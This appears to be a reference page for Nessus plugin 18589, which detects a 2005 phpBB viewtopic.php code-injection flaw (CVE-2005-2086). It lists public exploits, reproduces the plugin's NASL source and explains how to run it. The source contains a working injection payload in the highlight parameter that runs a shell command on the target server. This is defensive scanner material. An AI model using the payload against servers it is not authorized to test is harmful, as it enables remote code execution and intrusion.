phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution - Nessus

High   Plugin ID: 18589

This page contains detailed information about the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 18589
Name: phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution
Filename: phpbb_2_0_15.nasl
Vulnerability Published: 2005-06-28
This Plugin Published: 2005-06-29
Last Modification Time: 2022-04-11
Plugin Version: 1.28
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: phpbb_detect.nasl
Required KB Items [?]: www/phpBB
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2005-06-28
Patch Published: 2005-06-28
CVE [?]: CVE-2005-2086
CPE [?]: cpe:/a:phpbb_group:phpbb

Synopsis

The remote web server contains a PHP script that is affected by a code injection vulnerability.

Description

The remote host is running a version of phpBB that allows attackers to inject arbitrary PHP code to the 'viewtopic.php' script to be executed subject to the privileges of the web server userid.

Solution

Upgrade to phpBB version 2.0.16 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution vulnerability:

  1. Metasploit: exploit/unix/webapp/phpbb_highlight
    [phpBB viewtopic.php Arbitrary Code Execution]
  2. Exploit-DB: exploits/php/webapps/16890.rb
    [EDB-16890: phpBB - 'viewtopic.php' Arbitrary Code Execution (Metasploit)]
  3. D2 Elliot: phpbb_rce.html
    [Phpbb RCE]
  4. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the phpbb_2_0_15.nasl nessus plugin source code. This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18589);
  script_version("1.28");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-2086");
  script_bugtraq_id(14086);

  script_name(english:"phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a code
injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of phpBB that allows attackers to
inject arbitrary PHP code to the 'viewtopic.php' script to be executed
subject to the privileges of the web server userid.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/403631/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Upgrade to phpBB version 2.0.16 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/06/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/06/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpbb_group:phpbb");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpbb_detect.nasl");
  script_require_keys("www/phpBB");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  ver = matches[1];
  dir = matches[2];

  # First we need a forum number.
  r = http_send_recv3(method:"GET", item:string(dir, "/index.php"), port:port);
  if (isnull(r)) exit(0);
  res = r[2];

  pat = '<a href="viewforum\\.php\\?f=([0-9]+)';
  matches = egrep(pattern:pat, string:res, icase:TRUE);
  if (matches) {
    foreach match (split(matches)) {
      match = chomp(match);
      forum = eregmatch(pattern:pat, string:match);
      if (!isnull(forum)) {
        forum = forum[1];
        break;
      }
    }
  }

  if (isnull(forum)) {
    debug_print("couldn't find a forum to use!", level:1);
  }
  else {
    # Next we need a topic number.
    r = http_send_recv3(method:"GET",
      item:string(
        dir, "/viewforum.php?",
        "f=", forum
      ), 
      port:port
    );
    if (isnull(r)) exit(0);
    res = r[2];

    pat = '<a href="viewtopic\\.php\\?t=([0-9]+)';
    matches = egrep(pattern:pat, string:res, icase:TRUE);
    if (matches) {
      foreach match (split(matches)) {
        match = chomp(match);
        topic = eregmatch(pattern:pat, string:match);
        if (!isnull(topic)) {
          topic = topic[1];
          break;
        }
      }
    }

    if (isnull(topic)) {
      debug_print("couldn't find a topic to use!", level:1);
    }
    else {
      # Finally, we can try to exploit the flaw.
      # exploit method comes from public exploit released by [email protected]
      u = string(dir, "/viewtopic.php?", "t=", topic, "&", "highlight='.system(getenv(HTTP_PHP)).'");
      r = http_send_recv3(method: "GET", version: 11, item: u, port: port,
      	add_headers: make_array("PHP", "id") );
      if (isnull(r)) exit(0);
      res = r[2];

      line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
      if (line)
      {
        report = string(
          "Nessus was able to execute the command 'id' on the remote host,\n",
          "which produced the following output :\n",
          "\n",
          data_protection::sanitize_uid(output:line)
        );
        security_hole(port:port, extra:report);
        exit(0);
      }
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/phpbb_2_0_15.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\phpbb_2_0_15.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/phpbb_2_0_15.nasl

Go back to menu.

How to Run


Here is how to run the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution plugin ID 18589.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpbb_2_0_15.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 18928 - FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)
  • 18607 - GLSA-200507-03 : phpBB: Arbitrary command execution
  • 17225 - phpBB <= 2.0.12 Multiple Vulnerabilities
  • 21323 - phpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion
  • 22021 - Mambo phpBB Component download.php phpbb_root_path Parameter Remote File Inclusion
  • 15780 - phpBB viewtopic.php highlight Parameter SQL Injection (ESMARKCONANT)
  • 16200 - phpBB < 2.0.11 Multiple Vulnerabilities (ESMARKCONANT)
  • 21302 - phpBB Advanced GuestBook addentry.php phpbb_root_path Parameter Remote File Inclusion
  • 19146 - FreeBSD : phpbb -- arbitrary command execution and other vulnerabilities (e3cf89f0-53da-11d9-92b7-ceadd4ac2edd)
  • 15826 - GLSA-200411-32 : phpBB: Remote command execution
  • 25421 - PNphpBB2 index.php c Parameter SQL Injection

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpbb_2_0_15.nasl version 1.28. For more plugins, visit the Nessus Plugin Library.

Go back to menu.